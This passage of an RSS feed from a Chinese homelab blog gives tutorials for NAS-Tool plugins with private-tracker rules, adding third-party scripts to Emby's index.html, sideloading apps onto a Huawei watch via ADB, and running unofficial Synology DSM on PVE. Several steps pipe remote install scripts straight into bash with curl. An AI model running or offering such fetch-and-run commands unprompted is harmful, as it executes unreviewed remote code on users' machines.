&lt;li&gt;&lt;a href=&quot;https://github.com/Mattoids/nas-tools-plugin#docker-shell%E5%AE%B9%E5%99%A8%E5%86%85%E9%83%A8%E6%89%A7%E8%A1%8C&quot;&gt;docker shell（容器内部执行）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 安装
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) dockershell
# 卸载
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) dockershell
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Mattoids/nas-tools-plugin#docker%E5%AE%B9%E5%99%A8%E5%A4%96%E9%83%A8%E6%89%A7%E8%A1%8C&quot;&gt;docker（容器外部执行）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 安装
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) docker
# 卸载
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) docker
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Mattoids/nas-tools-plugin#dsm7&quot;&gt;dsm7&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 安装
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) dsm7
# 卸载
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) dsm7
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Mattoids/nas-tools-plugin#dsm6&quot;&gt;dsm6&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 安装
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) dsm6
# 卸载
bash &amp;lt;(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) dsm6
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Mattoids/nas-tools-plugin#%E8%84%9A%E6%9C%AC%E8%BF%90%E8%A1%8C%E6%8A%A5%E9%94%99%E7%9A%84%E6%97%B6%E5%80%99%E5%B0%9D%E8%AF%95%E4%B8%8B%E9%9D%A2%E7%9A%84%E5%91%BD%E4%BB%A4&quot;&gt;脚本运行报错的时候尝试下面的命令&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 安装
curl -O https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh &amp;amp;&amp;amp; chmod 655 install.sh &amp;amp;&amp;amp; ./install.sh docker
# 卸载
curl -O https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh &amp;amp;&amp;amp; chmod 655 unload.sh &amp;amp;&amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;添加第三方源&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/Mattoids/nas-tools-plugin/raw/master/source.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/10/image-1024x513.png&quot; alt=&quot;安装第三方插件拓展包 - 给NAS-Tool添加拓展功能，自定义刷流、索引规则 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开第三方插件-点击设置按钮-填入地址-保存即可&lt;/p&gt;
&lt;h2&gt;配置自定义索引器&lt;/h2&gt;
&lt;p&gt;通过配置此插件以对NT不支持的站点进行索引，搜索影片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/10/image-1-1024x690.png&quot; alt=&quot;配置自定义索引器 - 给NAS-Tool添加拓展功能，自定义刷流、索引规则 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一个框填写你需要添加的站点，第二框填写NT已经支持的站点，用于替换数据，然后点击第三个框，双击复制所有内容，打开JSON处理网站&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bejson.com/&quot;&gt;在线JSON校验格式化工具（Be JSON）&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;复制上一步输入框的内容&lt;/li&gt;
&lt;li&gt;打开JSON处理站点&lt;/li&gt;
&lt;li&gt;粘贴到网站中点【格式化校验】和【Unicode转中文】，修改name为你添加的站点的中文名（随便写也没关系）&lt;/li&gt;
&lt;li&gt;点击 【压缩】和【中文转Unicode】，然后复制站点里面的内容&lt;/li&gt;
&lt;li&gt;粘贴回上一步的框中（把原有的删除以后再粘贴）&lt;/li&gt;
&lt;li&gt;保存&lt;/li&gt;
&lt;li&gt;你可以去索引器里面找你的站点了&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;自定义刷流规则&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Mattoids/nas-tools-plugin/tree/master/sites/brush&quot;&gt;nas-tools-plugin/sites/brush at master · Mattoids/nas-tools-plugin (github.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;打开链接，寻找作者已经适配站点的JSON文件，打开后复制规则内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;FREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;free&apos;]&quot;],&quot;2XFREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;twoupfree&apos;]&quot;],&quot;HR&quot;:[],&quot;PEER_COUNT&quot;:[&quot;//div[@id=&apos;peercount&apos;]/b[1]&quot;]}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如以上为Rousi的规则&lt;/p&gt;
&lt;p&gt;我们需要将其嵌套进{&quot;域名&quot;:规则}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;rousi.zip&quot;:{&quot;FREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;free&apos;]&quot;],&quot;2XFREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;twoupfree&apos;]&quot;],&quot;HR&quot;:[],&quot;PEER_COUNT&quot;:[&quot;//div[@id=&apos;peercount&apos;]/b[1]&quot;]}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果需要添加多个，则在最后一个大括号前加入英文逗号,然后将其它的&quot;域名&quot;+规则复制进去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;hdarea.club&quot;:{&quot;FREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;free&apos;]&quot;],&quot;2XFREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;twoupfree&apos;]&quot;],&quot;HR&quot;:[],&quot;PEER_COUNT&quot;:[&quot;//div[@id=&apos;peercount&apos;]/b[1]&quot;]},&quot;rousi.zip&quot;:{&quot;FREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;free&apos;]&quot;],&quot;2XFREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;twoupfree&apos;]&quot;],&quot;HR&quot;:[],&quot;PEER_COUNT&quot;:[&quot;//div[@id=&apos;peercount&apos;]/b[1]&quot;]},&quot;kufei.org&quot;:{&quot;FREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;free&apos;]&quot;],&quot;2XFREE&quot;:[&quot;//h1[@id=&apos;top&apos;]/b/font[@class=&apos;twoupfree&apos;]&quot;],&quot;HR&quot;:[],&quot;PEER_COUNT&quot;:[&quot;//div[@id=&apos;peercount&apos;]/b[1]&quot;]}}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>给你的EMBY添加一点小插件</title><link>https://nvcc-v.com/2023/08/12/emby-plugins-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2023/08/12/emby-plugins-guide/</guid><description>为 Docker 部署的 Emby 安装 VideoTogether 一起看与弹幕扩展，包含插件配置和实际使用方法。</description><pubDate>Sat, 12 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;本教程仅适用于docker EMBY用户，群晖套件版的可以参考，整体思路是大差不差的。&lt;/p&gt;
&lt;h2&gt;VideoTogether插件（&lt;a href=&quot;https://videotogether.github.io/zh-cn/&quot;&gt;VideoTogether | 一起看视频&lt;/a&gt;）&lt;/h2&gt;
&lt;p&gt;此插件可以赋予你的媒体库多人在线同步观看视频的体验。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/08/image.png&quot; alt=&quot;VideoTogether插件（VideoTogether | 一起看视频） - 给你的EMBY添加一点小插件 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;仅需多端输入相同的房间号、密码即可同步观影，体验还是相当流畅的。&lt;/p&gt;
&lt;h2&gt;弹幕插件（&lt;a href=&quot;https://danmaku.movie.kg/&quot;&gt;Emby 弹幕扩展 (movie.kg)&lt;/a&gt;）&lt;/h2&gt;
&lt;p&gt;为EMBY提供弹幕拓展服务，非常有用的追番功能！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/08/image-1-1024x513.png&quot; alt=&quot;弹幕插件（Emby 弹幕扩展 (movie.kg)） - 给你的EMBY添加一点小插件 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/08/image-2-1024x971.png&quot; alt=&quot;弹幕插件（Emby 弹幕扩展 (movie.kg)） - 给你的EMBY添加一点小插件 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可选的功能也很多，本地化的哔哩哔哩追番体验！&lt;/p&gt;
&lt;h2&gt;如何安装&lt;/h2&gt;
&lt;p&gt;首先SSH连接你的docker宿主机，然后获取你的EMBY 容器的ID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker ps -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/08/image-3.png&quot; alt=&quot;如何安装 - 给你的EMBY添加一点小插件 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后进入该容器（注意要替换成自己的ID）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it e71123794726 /bin/ash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后编辑EMBY的index文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vi /system/dashboard-ui/index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/08/image-4-1024x555.png&quot; alt=&quot;如何安装 - 给你的EMBY添加一点小插件 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;方向键拉到最底下，键入i开启编辑模式在&amp;lt;/div&amp;gt;和&amp;lt;/body&amp;gt;之间加入相应JS代码即可。&lt;/p&gt;
&lt;p&gt;VideoTogether插件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://2gether.video/release/extension.website.user.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;弹幕插件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://danmaku.movie.kg/ext.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://danmaku.movie.kg/ext.css&quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意格式对齐，然后esc，输:wq即可保存退出，重启容器即可体验！&lt;/p&gt;
</content:encoded></item><item><title>基于无线adb实现的华为手表独立安装应用</title><link>https://nvcc-v.com/2023/06/14/huawei-watch-adb-install/</link><guid isPermaLink="true">https://nvcc-v.com/2023/06/14/huawei-watch-adb-install/</guid><description>利用 Shizuku、WearOS 工具箱与无线 ADB，在华为 Watch 3 上脱离电脑安装第三方应用。</description><pubDate>Wed, 14 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;引&lt;/h2&gt;
&lt;p&gt;今年年初本人购入一块华为watch3手表，随后便是开始往里面安装各类的软件，经过一些尝试也发现它的防第三方软件机制仅仅是通过自带的 应用安装器 实现防止用户安装。&lt;/p&gt;
&lt;p&gt;关于这点，相信大家都可以想到通过adb冻结应用然后再进行安装以实现绕过该机制。&lt;/p&gt;
&lt;p&gt;但是这多少会有些不方便，每次都需要手机连接adb再找到该应用进行冻结，然后才能安装。&lt;/p&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;那么我们有没有办法进行更简便的操作呢？&lt;/p&gt;
&lt;p&gt;由于该手表的Harmony OS 3.0是基于AOSP11，故可以在不连接电脑的情况下直接开启WiFi ADB（安卓调试桥），然后我们就可以通过shizuku首先通过WiFi ADB进行提权。&lt;/p&gt;
&lt;h2&gt;方法如下：&lt;/h2&gt;
&lt;p&gt;首先进入设置中的开发人员选项，找到并打开 HDC调试 以及 通过WLAN调试 ，然后进入shizuku，下拉点击启动，授权同意调试后即可（注意每次重启后都需要重新打开WLAN调试，否则shizuku会找不到该选项）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/06/WearOS-Tools-Screenshot_20230614_094756.png&quot; alt=&quot;方法如下： - 基于无线adb实现的华为手表独立安装应用 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来安装 小黑屋 ，用于冻结应用&lt;/p&gt;
&lt;p&gt;注意在首次安装过程中，会出现屏幕大小问题导致点不到下一步的按钮，此时需要借助 wearos工具箱 ADB连接手机，对DPI进行修改，在权限上选择shizuku，直到完成便可恢复DPI大小。&lt;/p&gt;
&lt;p&gt;然后点击右上角的加号，将 用户应用 向左滑，找到 应用安装器 ，冻结即可！&lt;/p&gt;
&lt;p&gt;再通过wearos工具箱安装第三方的应用安装器，然后便可快乐独立地安装应用了！&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/2023/06/14/huawei-watch-adb-install/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://www.123pan.com/s/dYLUVv-tVr8H&quot;&gt;WearOS安装器&lt;/a&gt;：基于无线adb实现的华为手表独立安装应用&lt;/p&gt;
&lt;h2&gt;补充&lt;/h2&gt;
&lt;p&gt;注意：冻结 应用安装器 后用完必须解冻，不然系统在重启后会出现 重启两次，并且所有应用的权限授权全部消失，以及所有冻结应用全部解冻 的情况。&lt;/p&gt;
</content:encoded></item><item><title>在PVE上直通核显给群晖搭配alist挂载实现自建影库</title><link>https://nvcc-v.com/2023/06/14/pve-hack-synology-alist/</link><guid isPermaLink="true">https://nvcc-v.com/2023/06/14/pve-hack-synology-alist/</guid><description>在 PVE 中部署黑群晖并直通核显，结合 Alist 与 Jellyfin 搭建支持硬件解码的自建影音库。</description><pubDate>Wed, 14 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;配合视频教程食用更佳！&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1Hh4y1X7ag/&quot;&gt;https://www.bilibili.com/video/BV1Hh4y1X7ag/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;在PVE虚拟机平台上安装q35黑群晖，直通核显给群晖用于jellyfin硬解，再通过alist挂载多方云盘，利用CloudDrive对接alist的web dav实现挂载至本地，并由jellyfin进行影视作品的刮削。&lt;/p&gt;
&lt;h2&gt;安装群晖&lt;/h2&gt;
&lt;p&gt;首先下载引导镜像以及pat文件，本人这边的选择是DS918+ 7.0.1-42218,也可根据自身需求安装其它系统。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pan.quark.cn/s/9793ea3350da&quot;&gt;https://pan.quark.cn/s/9793ea3350da&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/2023/06/14/pve-hack-synology-alist/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://archive.synology.cn/download/Os/DSM/7.0.1-42218&quot;&gt;官方pat文件&lt;/a&gt;：在PVE上直通核显给群晖搭配alist挂载实现自建影库&lt;/p&gt;
&lt;p&gt;然后将img引导文件上传至local，创建虚拟机，操作系统选择不使用任何介质，机型选择q35，硬盘选择SATA，大小为1G，CPU根据自身情况选择，也可选择host，内存根据自身情况修改，其余没说的默认即可。&lt;/p&gt;
&lt;p&gt;选中刚创建的虚拟机，点击硬件，选中硬盘，分离后删除即可。&lt;/p&gt;
&lt;p&gt;然后ssh连接PVE&lt;/p&gt;
&lt;p&gt;输入&lt;strong&gt;qm importdisk+空格+虚机VMID+空格+刚复制的的固件路径+空格+local-lvm&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(注意我这边不加-lvm是因为lvm空间不够了...正常是需要加上的)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qm importdisk 104 /var/lib/vz/template/iso/ds918.img local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现Successful后在web管理页面中就能看到一块未使用的磁盘，双击后设备选择SATA（可勾选SSD仿真）添加即可，同时添加一块不小于20G的硬盘（可勾选SSD仿真）用于安装群晖的系统。同时将BIOS修改为OVMF（UEFI）&lt;/p&gt;
&lt;p&gt;然后点击选项修改引导顺序，仅勾选引导盘随后启动即可。&lt;/p&gt;
&lt;p&gt;启动后进入控制台选择第二项并回车&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/06/image-1024x529.png&quot; alt=&quot;安装群晖 - 在PVE上直通核显给群晖搭配alist挂载实现自建影库 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/06/image-1-1024x223.png&quot; alt=&quot;安装群晖 - 在PVE上直通核显给群晖搭配alist挂载实现自建影库 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后这里会卡住，不必惊慌，这是正确的，然后就是耐心等待，前往路由端查看群晖IP后访问，然后根据提示安装提前下好的pat文件，待群晖重启后即可正常访问并设置基本信息。&lt;/p&gt;
&lt;h2&gt;安装Jellyfin&lt;/h2&gt;
&lt;p&gt;进入套件中心-设置-套件来源-新增&lt;/p&gt;
&lt;p&gt;名称填入 我不是矿神&lt;/p&gt;
&lt;p&gt;位置填入 &lt;a href=&quot;https://spk7.imnks.com/&quot;&gt;矿神群晖SPK套件源DSM7.x by IMNKS.COM&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后搜索jellyfin，选择第一个进行下载并安装即可。&lt;/p&gt;
&lt;p&gt;进入jellyfin后简单设置（注意国家/地区选择 People&apos;s Republic of China）&lt;/p&gt;
&lt;p&gt;注意在添加媒体库前，需要先前往群晖进入文件夹属性页面，给jellyfin授权，并勾选应用到这个文件夹、子文件夹及文件，不然是看不到文件夹的。&lt;/p&gt;
&lt;h2&gt;设置核显直通&lt;/h2&gt;
&lt;p&gt;为什么要设置直通硬解？有的人可能会认为我只在家里，内网带宽充足，是不是就不需要了，其实这是个误区，有些mkv后缀名的原盘电影，是必须要核显硬解的，不然是无法播放的，当然你也可以通过第三方客户端实现本地解码。&lt;/p&gt;
&lt;p&gt;首先我们先下载PVEtools&lt;/p&gt;
&lt;p&gt;1.先删除企业源：
rm /etc/apt/sources.list.d/pve-enterprise.list&lt;/p&gt;
&lt;p&gt;2.安装
export LC_ALL=en_US.UTF-8
apt update &amp;amp;&amp;amp; apt -y install git &amp;amp;&amp;amp; git clone https://github.com/ivanhao/pvetools.git&lt;/p&gt;
&lt;p&gt;3.启动工具（cd到目录，启动工具）
cd pvetools
./pvetools.sh&lt;/p&gt;
&lt;p&gt;然后选择中文-i 配置PCI硬件直通-a 配置开启物理机硬件直通支持-根据提示重启&lt;/p&gt;
&lt;p&gt;重启后再进入该页面选择c 配置显卡直通-a 配置物理机显卡直通支持-根据提示重启&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/06/image-2.png&quot; alt=&quot;设置核显直通 - 在PVE上直通核显给群晖搭配alist挂载实现自建影库 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;返回PVE web界面，选定群晖虚拟机-硬件-添加-PCI设备-设备选择核显-勾选四个钩-添加即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/06/image-3-1024x512.png&quot; alt=&quot;设置核显直通 - 在PVE上直通核显给群晖搭配alist挂载实现自建影库 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入jellyfin-控制台-播放-硬件加速选择QSV或者VAAPI，拉到最下方保存即可实现硬解。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/06/image-4-1024x514.png&quot; alt=&quot;设置核显直通 - 在PVE上直通核显给群晖搭配alist挂载实现自建影库 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Jellyfin SSL访问&lt;/h2&gt;
&lt;p&gt;我们不在家时想通过公网实现非常简单，端口转发这里就不多说了，主要是如何配置SSL。&lt;/p&gt;
&lt;p&gt;进入jellyfin控制台-联网-允许与此服务器进行远程连接 打钩-将DNS服务商处下载的IIS（pfx文件）证书放入群晖并给予jellyfin访问权限，或者通过证书转换将你的pem证书转换成pfx证书。&lt;/p&gt;
&lt;p&gt;在jellyfin中选择证书并且输入证书密码保存后重启即可。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chinassl.net/ssltools/convert-ssl.html&quot;&gt;SSL证书格式转换工具-中国数字证书CHINASSL&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2023/06/image-5-1024x483.png&quot; alt=&quot;Jellyfin SSL访问 - 在PVE上直通核显给群晖搭配alist挂载实现自建影库 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;挂载云盘&lt;/h2&gt;
&lt;p&gt;首先在套件中心安装Alist网盘和CloudDrive2，然后登陆alist后台进入管理，根据自身情况登陆适合的网盘，注意选择本地代理。&lt;/p&gt;
&lt;p&gt;再进入CloudDrive2添加web dav。服务器填写http://群晖IP:端口/dav，用户名密码即使用alist的。&lt;/p&gt;
&lt;p&gt;注意挂载后也要给予权限，然后在jellyfin中添加媒体库即大功告成啦！&lt;/p&gt;
&lt;h2&gt;刮削动漫&lt;/h2&gt;
&lt;p&gt;添加媒体库 Bangumi&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://jellyfin-plugin-bangumi.pages.dev/repository.json&quot;&gt;https://jellyfin-plugin-bangumi.pages.dev/repository.json&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;添加媒体库&lt;/p&gt;
</content:encoded></item></channel></rss>